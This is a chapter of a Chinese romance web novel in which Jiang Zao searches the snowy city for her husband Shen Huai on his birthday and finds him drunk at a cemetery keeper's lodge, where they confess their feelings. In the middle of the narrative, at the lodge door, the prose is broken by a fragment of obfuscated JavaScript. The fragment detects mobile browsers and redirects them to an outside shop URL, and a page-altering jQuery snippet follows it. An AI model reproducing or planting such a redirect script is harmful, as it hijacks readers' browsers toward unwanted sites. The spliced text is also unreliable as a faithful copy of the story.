雪约下雨大,满世界只剩簌簌雪落和嘎吱嘎吱的脚步声。
天气预报没错,漫天白茫茫,真的是大雪。
月光之下,初雪落在门上,结了一层银霜。
姜早深吸了一口气,推门进去。
客厅的灯是关的,走到楼上,卧室里也没有人。
她把沈淮从黑名单拉出来,打了个电话出去,一直无法接通。
姜早望着窗外的雪。
也不知道这场大雪,会下多久。
走廊里传来一丝响动,是小苹果在逗猫的声音。
姜早走出房门时,苹果有些被吓了一跳。
“怎么了?”她问。
小苹果放下手里的猫,捂着胸口道:“妈妈说今天哥哥过生日,你们会很晚回来,我还以为家里只有我和妈妈呢!”
姜早心口一跳,复述道:“今天是你哥哥生日?”
小苹果重重点头。
她蹲下身,问:“你知道哥哥在哪里过生日吗?”
“不知道。”小苹果如实道,“妈妈说哥哥不喜欢过生日,所以从来不带我陪哥哥过生日。”说完,眸色有些沮丧。
姜早揉了揉她的头:“嗯,知道了,太晚了回去睡吧。”
小苹果点点头,小跑着回了卧室。
姜早看了一眼时间,二十一点半,离二十四点还有两个半小时。
她在楼梯口,蹲下身,默默望着门口的方向,脑子里乱乱的不知在想什么。
耳边一道细碎的声音,下一秒一只肉肉的小手递过来一张贺卡。
小苹果泛红的脸,颇有些不好意思道:“姜姜老师,其实我知道妈妈跟我说的那些是骗我的。哥哥也是小朋友,是比我大一点的小朋友,老师说所有小朋友都喜欢过生日,妈妈这个坏蛋,其实就是懒得给哥哥过。”
“可是我想给哥哥过生日!”她噘着嘴,有些沮丧道,“我偷偷写了张贺卡,本来想亲自送给哥哥,但是妈妈催我睡觉了。姜姜老师,你能不能帮我把贺卡送给哥哥,老师说节日当天送给别人东西才有意义,别人才会开心。”
她如同小大人一样侃侃而谈,有时严肃,有时悲伤,有时遗憾。
姜早接过那张贺卡,摸了摸她的头,道:“好,姜姜老师答应你,一定在今天送给他。”
那张悲伤的小脸顿住放出了光:“谢谢姜姜老师!”
得到肯定的答案后,苹果蹦蹦跳跳地回了次卧。
姜早将贺卡拿起来,看了一眼。只有一页,前面是好看的卡通图案,后面是密密麻麻的小字。努力写正的字体,稚嫩简单的词组,一笔一划认认真真,写出了干净纯粹最真诚的祝福。
她盯着手上的时间,时间不知不觉又过了十分钟,也不知道沈淮什么时候回来。
客厅的欧式古钟,分针转了一圈又一圈,外面的雪下的越来越大,逐渐盖过了地面原本的颜色。
姜早凝视着窗外,又播出了那个电话,仍旧是无法接通。
她坐到桌边,反正闲着也是闲着,不如也做一张贺卡。
帮小苹果送贺卡,她什么都不送,不太好。
又过了很久,时针指向了二十二点三十分,他仍旧没有回来。
姜早坐在沙发上,望着窗外,微微出神。
出来上厕所的苹果妈妈被客厅还亮着的灯吓了一跳;“怎么还没睡?”
姜早收回深思,有些不知该如何解释。
旁边苹果妈妈却已经猜出了什么,打了个哈欠走下楼梯:“在等他?”
姜早如实点点头。
苹果妈妈说:“你打他电话试试。”
姜早抿唇。
“打不通是吧?这孩子,就是这样的,心情不好就喜欢玩消失,手机打不通信息也不回。”苹果妈妈习以为常道,“你别介意,今天是他生日,他这天心情一向不会太好。”
“为什么?”姜早问。
苹果妈妈在沙发上坐下,手撑着沙发,闭着眼半寐:“因为他爸妈从来没有给他过过生日。”
姜早心微涩。
苹果妈妈轻叹了口气:“这孩子也是个很别扭的人,我之前买了个蛋糕给他,他一口没吃。我觉得,生日嘛,有个人给他过不就好了,他呢,一定要爸爸妈妈给他过。”
她仍记得那天。
那道小身影站在他爸爸放门外,渴望着爸爸能够记起他的生日,等了好久好久,等到里面有了鼾声才落寞的回去。这样的日子,这个小孩过了很久。
她于心不忍,出门买了个小蛋糕给他。
沈淮不接,眼里有悲伤也有恼火。她也是个有脾气的,把蛋糕放到他那张写作业的小桌子上后,转头就走。
她再次路过时候,那道倔强的小背影,坐在写作业的小桌子上,肩头颤抖,桌上的蛋糕却一丝未动。
这性子,也不知道随了谁,让人头疼。
姜早抬头看了一眼时间,已经到了二十三点,还有一个小时就要到下一天了:“妈,你知道怎么能找到他吗?”
“摩天大厦吧,他每次生日都会去那里等他爸来。”虽然每次都等不到,苹果妈妈有些他头疼的扶额。
“我去找找他,你早点休息。”姜早放下披肩,将两张贺卡揣进兜里,风风火火的走了。
“哎!这么晚还出去做什么,在家里等等他算了!”苹果妈妈话语未落下,别墅的门已经被啪的一声关上,她扶额轻叹了一口气。
雪天的夜里,出租车司机开车很小心,不敢太快。
姜早不断抬手看时间,惹得师傅都有些紧张了。
她注意到后,让师傅慢慢开,不用管她,师傅才放下心。
下了车后,姜早小步跑到前台,问:“麻烦问一下,有没有一个叫沈淮的在这里定包厢?”
前台谨慎的朝她看了一眼:“不好意思,这是客人的隐私,实在不方便透露。”
姜早抬手看表,道:“我找他有急事。”
前台仍摇头:“抱歉女士,真的不行。”
刚应付完商业局的陆特助从走廊走出来,撇了一眼前台,看到姜早:“夫人?你怎么在这?”
姜早对他的脸有些印象,小跑上前,问:“我找沈淮,你知道他在哪个包间吗?”
“沈总不在这,下午沈总让我定了吉天观景台的位置。”他有些诧异道,“难道不是为了晚上和您一起看雪吗?”
姜早想起下午沈淮说的那番话来。
原来,看雪也是陪他过生日。
他干嘛不早说。
姜早轻叹了口气:“那我去观景台找他。”
陆特助上前一步,挡住她去路:“夫人,您别着急,我帮您先问问沈总在不在那里,以我对沈总的了解,你没去的话,他也不会去的。”
陆特助掏出手机,打了个电话出去,没多久,他挂了电话。
“夫人,沈总没去。”陆特助道。
观星台的领导知道沈淮定了位置的时候,激动的不行,早就安排了人在位置上盯着。
姜早蹙眉,望着窗外的雪,自言自语道:“他会去哪呢?”
陆特助诚恳道:“要不我先送夫人回家吧,沈总消失的时候一般不会被人轻易找到的,今天一过,他自然就会出现了,您要是事情不急的话,等他明天...”
“很急。”姜早喃喃完这句话,一步步走到了外面,仰头望着洋洋洒洒的大雪,她的目光没有定焦,失去了方向。
从来没有过过生日么。
如今她也算沈淮的家人吧。
不管有感情与否,至少在身份上,他是承认的。
她可以给沈淮过生日。
脑海中,突然有个地方。
他小跑着拦下路上一辆出租车,坐下关了车门,直接道:“去48号墓地。”
车到了后,墓地的工作人员将她拦住,僵持了好久,直到牙伯出来取外卖看到她,才进去。
铁锈的钥匙打开木门,一股浓郁的酒味扑面而来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200504|150090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“这孩子今天也不知道怎么了,心情不太好,正好你来了,替我劝劝他吧,我还要去外面巡查,一会儿才回来,你们先聊。”他这么说着,打开手里的外卖包装,递给她一盒醒酒药,转身离开。
姜早望着里面,这是牙伯的住所,简陋却也很干净。她转身关上门,往里走了几步,左右没有看到人,只看到满桌子的酒瓶。
正不解时,突然听到了纸落下来的声音,很轻,但在这空荡的房子里,很快就能辨别声音从哪里来。
姜早循声走过去,越靠近,酒味就愈来愈浓郁。
一根彩笔滚到脚边,她的脚步停了下来,侧头望过去。
找到了。
他坐在角落里,侧头枕着膝盖,整个人被笼罩在阴影中,看着格外消沉。
甚至连同她走近,都未发觉。
姜早低头。
他的脚边有一张白纸,粗糙的白纸上用彩笔画了一个彩色的蛋糕。
她伸手想要拿起,突然一只手攥住她。
“别看。”身前的人轻轻说,手上也渐渐放松了力气。
晚风轻拂,酒味裹进风里,他低眸看她。她也定定抬眸望他,一时无言。而他看向她的眸子像是璀璨繁星,一点点发出光亮。
周遭很静,只有时钟的滴答声。
二十三点五十九分。
姜早松了口气,一个字一个字,清晰道:“沈淮,生日快乐。”
话还没说完,她的手腕被拽住,连声音都还没来得及发出,就猝不及防的跌进了他怀里。
“嗯。”有风吹过她的大衣,边角擦蹭他西服衣袖,带着冬日的寒意,略过他手背。
他们靠的很近,稍一抬头,气息的温热就交织在一起。
姜早低头。
偏他的指尖不知惹祸的,勾起她下巴,迫使她与自己对视。
那双眸子,戴着朦朦胧胧的剪影,沈淮勾起唇角。
这道剪影属于自己。
他越靠越近,就在姜早要反抗时,沈淮停了下来,将头落在她的肩头,轻轻道:“梦里,你也生我的气么。”
那略带酒意的话,带着暖气吐在耳边,她顿在原地,任由他们保持这种亲密的姿势。
“你做错什么了?”姜早问。
“不知道。”沈淮声音带着委屈也带着愧意,“你不开心了,那我应该是做错了什么。”
在他眼中,只有不喜欢和做错了事情才会引得别人讨厌。
他宁愿觉得是自己做错了事情,也不愿意承认姜早不喜欢他。
“我没有生你的气,沈淮。”虽然不知道喝完酒的沈淮,会不会记得今天的话,但是她还是想替自己辩解。她低眸望着地面,补道,“离婚,是因为你太好了,我配不上你,我也知道你不喜欢我。”
沈淮睁开眼,缓缓放开环住她的手。
姜早得以脱神,忙从大衣口袋里拿出两张贺卡:“不说那些不开心的了,今天是你生日,要开心一点,我和苹果给你做了两张贺卡!”她将两张贺卡递过去,真诚又认真,轻勾着唇,一字一句再次说道:“沈淮,生日...”
身体瞬间被束缚进一个有力的怀抱里,未说尽的话被吞噬在充满情意的吻中,贪婪的索取着属于她的气息,炙热缠绵。她被吻的浑身瘫软,脑袋晕乎乎,一时忘记了抵抗。感受到她的顺从,他的吻也从原先的掠夺,转变为温柔的牵引。
好久之后,他的吻轻轻落在她的脸上。
她的眼睛雾蒙蒙的,脸上泛着红晕,薄唇微张,清纯夹杂妩媚,惹人恋爱。
“姜早。”他望着她,眸色无限下坠,跌入漩涡,无法逃脱,“我喜欢你。”
话语落下,姜早错愕的望着他。
如同期待回应一般,他就这么定定的看着她。
姜早感受着自己的兵荒马乱,情不自禁的在他的脸上落下蜻蜓点水的一吻。
吻在自然中娴熟,只在对视的下一秒。
呼吸交织,浓烈纯粹。